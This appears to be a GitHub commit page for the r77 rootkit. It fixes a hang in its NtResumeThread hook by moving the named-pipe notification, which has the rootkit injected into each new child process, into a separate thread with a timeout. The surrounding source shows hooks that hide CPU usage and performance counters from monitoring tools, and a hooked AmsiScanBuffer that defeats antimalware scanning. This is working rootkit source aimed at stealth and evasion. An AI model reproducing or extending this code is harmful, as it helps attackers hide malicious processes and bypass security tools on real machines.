Skip to content

Commit 6268235

Browse files
committed
Bugfix: Hang in NtResumeThread hook
1 parent 26ff7db commit 6268235

File tree

2 files changed

+42
-8
lines changed

2 files changed

+42
-8
lines changed

r77/Hooks.c

+35-8
Original file line numberDiff line numberDiff line change
@@ -221,16 +221,27 @@ static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount)
221221
HANDLE pipe = CreateFileW(CHILD_PROCESS_PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
222222
if (pipe != INVALID_HANDLE_VALUE)
223223
{
224-
// Send the process ID to the r77 service.
225-
DWORD bytesWritten;
226-
WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL);
224+
WRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS parameters;
225+
parameters.PipeHandle = pipe;
226+
parameters.ProcessId = processId;
227227

228-
// Wait for the response. NtResumeThread should be called after r77 is injected.
229-
BYTE returnValue;
230-
DWORD bytesRead;
231-
ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL);
228+
// In some cases, the WriteFile call to the named pipe hangs indefinitely.
229+
// This bug was introduced after injecting the r77 service into winlogon, rather than in a hollowed process.
232230

233-
CloseHandle(pipe);
231+
// Therefore, we must execute this write operation in a separate thread.
232+
// If this thread does not return within a given amount of time, we must assume that it failed,
233+
// and just continue process initialization. The periodic process injection will catch this process
234+
// within less than 100ms.
235+
236+
HANDLE thread = CreateThread(NULL, 0, WriteChildProcessPipeThread, &parameters, 0, NULL);
237+
if (thread)
238+
{
239+
if (WaitForSingleObject(thread, 500) != WAIT_OBJECT_0)
240+
{
241+
// WriteFile got stuck.
242+
TerminateThread(thread, 0);
243+
}
244+
}
234245
}
235246
}
236247

@@ -639,6 +650,22 @@ static HRESULT WINAPI HookedAmsiScanBuffer(LPVOID amsiContext, LPVOID buffer, UL
639650
return 0x80070057;
640651
}
641652

653+
static DWORD WINAPI WriteChildProcessPipeThread(LPVOID parameter)
654+
{
655+
HANDLE pipe = ((PWRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS)parameter)->PipeHandle;
656+
DWORD processId = ((PWRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS)parameter)->ProcessId;
657+
658+
// Send the process ID to the r77 service.
659+
DWORD bytesWritten;
660+
WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL);
661+
662+
// Wait for the response. NtResumeThread should be called after r77 is injected.
663+
BYTE returnValue;
664+
DWORD bytesRead;
665+
ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL);
666+
667+
CloseHandle(pipe);
668+
}
642669
static BOOL GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime)
643670
{
644671
// Count hidden CPU usage explicitly instead of waiting for a call to NtQuerySystemInformation(SystemProcessInformation).

r77/Hooks.h

+7
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,12 @@
33
#ifndef _HOOKS_H
44
#define _HOOKS_H
55

6+
typedef struct _WRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS
7+
{
8+
HANDLE PipeHandle;
9+
DWORD ProcessId;
10+
} WRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS, *PWRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS;
11+
612
/// <summary>
713
/// Attaches hooks to r77 specific API's.
814
/// </summary>
@@ -29,6 +35,7 @@ static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDW
2935
static PDH_STATUS WINAPI HookedPdhGetFormattedCounterArrayW(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_FMT_COUNTERVALUE_ITEM_W itemBuffer);
3036
static HRESULT WINAPI HookedAmsiScanBuffer(LPVOID amsiContext, LPVOID buffer, ULONG length, LPCWSTR contentName, LPVOID amsiSession, LPDWORD result);
3137

38+
static DWORD WINAPI WriteChildProcessPipeThread(LPVOID parameter);
3239
static BOOL GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime);
3340
static LPWSTR CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName);
3441
static LPWSTR FileInformationGetName(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name);

0 commit comments

Comments
 (0)